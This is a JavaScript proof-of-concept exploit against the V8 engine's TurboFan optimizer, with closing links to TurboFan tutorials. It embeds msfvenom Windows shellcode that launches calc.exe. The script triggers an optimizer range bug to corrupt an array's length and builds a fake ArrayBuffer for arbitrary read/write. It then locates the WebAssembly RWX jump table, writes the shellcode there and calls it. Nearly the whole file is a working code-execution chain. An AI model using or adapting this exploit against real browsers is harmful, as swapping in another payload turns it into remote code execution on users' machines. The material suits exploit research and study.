1/**** ┌──(root💀kali)-[~/bigric3/HW/SilverNeedle/scanner2/SilverNeedle-master]
2└─# msfvenom --arch x64 --platform windows --payload windows/x64/exec cmd=calc.exe -f c
3****/
4
5let shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00];
6
7let WasmOffsets = {
8 shared_function_info : 3,
9 wasm_exported_function_data : 1,
10 wasm_instance : 2,
11 //jump_table_start : 31,
12 jump_table_start: 29
13};
14
15let AB_LENGTH = 0x200;
16let AB_LENGTH_MARK = 0x0000020000000000;
17let NEW_LENGTH64 = 0x0000006400000000;
18let NEW_LENGTHC8 = 0x000000C800000000;
19let MARK1SMI = 0x13;
20let MARK2SMI = 0x37;
21let MARK1 = 0x0000001300000000;
22let MARK2 = 0x0000003700000000;
23
24let ARRAYBUFFER_SIZE = 0x40;
25let PTR_SIZE = 8;
26
27let ab = new ArrayBuffer(8);
28let fv = new Float64Array(ab);
29let dv = new BigUint64Array(ab);
30
31let f2i = (f) => {
32 fv[0] = f;
33 return dv[0];
34}
35
36let i2f = (i) => {
37 dv[0] = BigInt(i);
38 return fv[0];
39}
40
41let tagFloat = (f) => {
42 fv[0] = f;
43 dv[0] += 1n;
44 return fv[0];
45}
46
47let hexprintablei = (i) => {
48 return (i).toString(16).padStart(16,"0");
49}
50
51let debug = (x,z, leak) => {
52 print("oob index is " + z);
53 print("length is " + x.length);
54 print("leaked 0x" + hexprintablei(f2i(leak)));
55 ////%DebugPrint(x);
56 //%SystemBreak();
57 ////%DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements
58};
59
60
61var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
62
63
64
65let opt_me = (x) => {
66 let arr = new Array(1.1,1.2,1.3,1.4,1.5,1.6,1.7);
67 let y = (( x==1 ) ? 9007199254740992 : 9007199254740989) + 1 + 1;
68 y = y - 9007199254740989; // max=2, actual max=5
69 y = y * 2; // max=4, actual max=10
70
71 //print("=====> 0x64length: 0x" + i2f(NEW_LENGTH64) + " 0xc8: 0x" + i2f(NEW_LENGTHC8));
72 // before out of bounds 2 write, don’t call self define func
73 arr[y] = 4.24399158193e-312;//2.121995790965e-312; // corrupt arr.length => i2f(NEW_LENGTH64)
74
75
76 var wasmModule = new WebAssembly.Module(wasmCode);
77 var wasmInstance = new WebAssembly.Instance(wasmModule, {});
78 var get_pwnd = wasmInstance.exports.main;
79 print("[+] Debug get_pwnd...");
80 //%DebugPrint(get_pwnd);
81 var d = get_pwnd();
82 console.log("[*] return from wasm: " + d);
83
84 let leak = arr[y];
85 let arr2 = Array.of(1.2);
86 let evil_ab = new ArrayBuffer(AB_LENGTH);
87 let packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI, get_pwnd);
88 //let ab_len_idx = arr.indexOf(2.121995790965e-312);//(5.43230922487e-312);
89 let ab_len_idx = arr.indexOf(i2f(AB_LENGTH_MARK));//5.43230922487e-312);//i2f(AB_LENGTH_MARK));
90 print("idx: "+ab_len_idx);
91 if(ab_len_idx==-1)
92 return;
93
94
95 if (x == 1){
96
97 print("[+] Debug arr...");
98 //%DebugPrint(arr);
99
100 let ibackingstore_ptr = f2i(arr[ab_len_idx + 1]);
101 let fbackingstore_ptr = arr[ab_len_idx + 1];
102 print("[+] Found backingstore pointer : " + hexprintablei(ibackingstore_ptr));
103
104
105 let view = new BigUint64Array(evil_ab);
106 print("[+] Debug view...");
107 //%DebugPrint(view);
108 for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
109 view[i] = f2i(arr[ab_len_idx-3+i]); // make fakeobj => evil ab obj
110 print("[+] arr"+i+": 0x"+hexprintablei(f2i(arr[ab_len_idx-3+i])) +";view: 0x"+hexprintablei(view[i]));
111 }
112
113
114 //%SystemBreak();
115 let magic_mark_idx = arr.indexOf(i2f(MARK1));
116 print("[+] magic_mark_idx: " + magic_mark_idx);
117 arr[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // overwrite MATH PTR
118
119 // [4] leak wasm function pointer
120 let ftagged_wasm_func_ptr = arr[magic_mark_idx+3]; // we want to read get_pwnd
121 print("[+] get_pwnd ptr: 0x" + hexprintablei(f2i(ftagged_wasm_func_ptr)) );
122
123 // set fake_evilab.ArrayBuffer
124 view[4] = f2i(ftagged_wasm_func_ptr)-1n;
125
126 // [5] use RW primitive to find WASM RWX memory
127 let rw_view = new BigUint64Array(packed_elements_array[1]);
128 let shared_function_info = rw_view[WasmOffsets.shared_function_info];
129 view[4] = shared_function_info - 1n; // detag pointer
130 print("[+] shared info: 0x" + hexprintablei(view[4]));
131
132 rw_view = new BigUint64Array(packed_elements_array[1]);
133 let wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data];
134 view[4] = wasm_exported_function_data - 1n; // detag
135 print("[+] export func: 0x" + hexprintablei(view[4]));
136
137 rw_view = new BigUint64Array(packed_elements_array[1]);
138 let wasm_instance = rw_view[WasmOffsets.wasm_instance];
139 view[4] = wasm_instance - 1n; // detag
140 print("[+] wasm instance: 0x" + hexprintablei(view[4]));
141
142 rw_view = new BigUint64Array(packed_elements_array[1]);
143 let jump_table_start = rw_view[WasmOffsets.jump_table_start];
144 print("[+] jmp start: 0x" + hexprintablei(jump_table_start));
145
146
147 view[4] = jump_table_start;
148 rw_view = new Uint8Array(packed_elements_array[1]);
149
150 // [6] write shellcode in RWX memory
151 //print("[+] start to write shellcode ....");
152 for (let i = 0; i < shellcode.length; ++i) {
153 print("[+] start to write shellcode: "+i);
154 rw_view[i] = shellcode[i];
155 }
156
157 print("[+] write shellcode end ....");
158
159 // [7] PWND!
160 //%SystemBreak();
161 get_pwnd();
162
163 print(res);
164
165 debug(arr,y, leak);
166 print("array's length: "+ arr.length);
167 print("oob read: " + arr[20]);
168 }
169
170 return leak;
171}
172
173
174opt_me(0);
175//%OptimizeFunctionOnNextCall(opt_me);
176//let res = opt_me(1);
177for(let i = 0; i < 0x10000; i++)
178 opt_me(1);
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
https://kiprey.github.io/2021/01/v8-turboFan
https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1AlIahgraIEJXwVBfAySmqakJAHo9Bo0=&lang=sage
https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1BlIahgraCgaaADQcBCc=&lang=sage
https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1BlIahgraCob6GkCukaYmAFdlBZ8=&lang=sage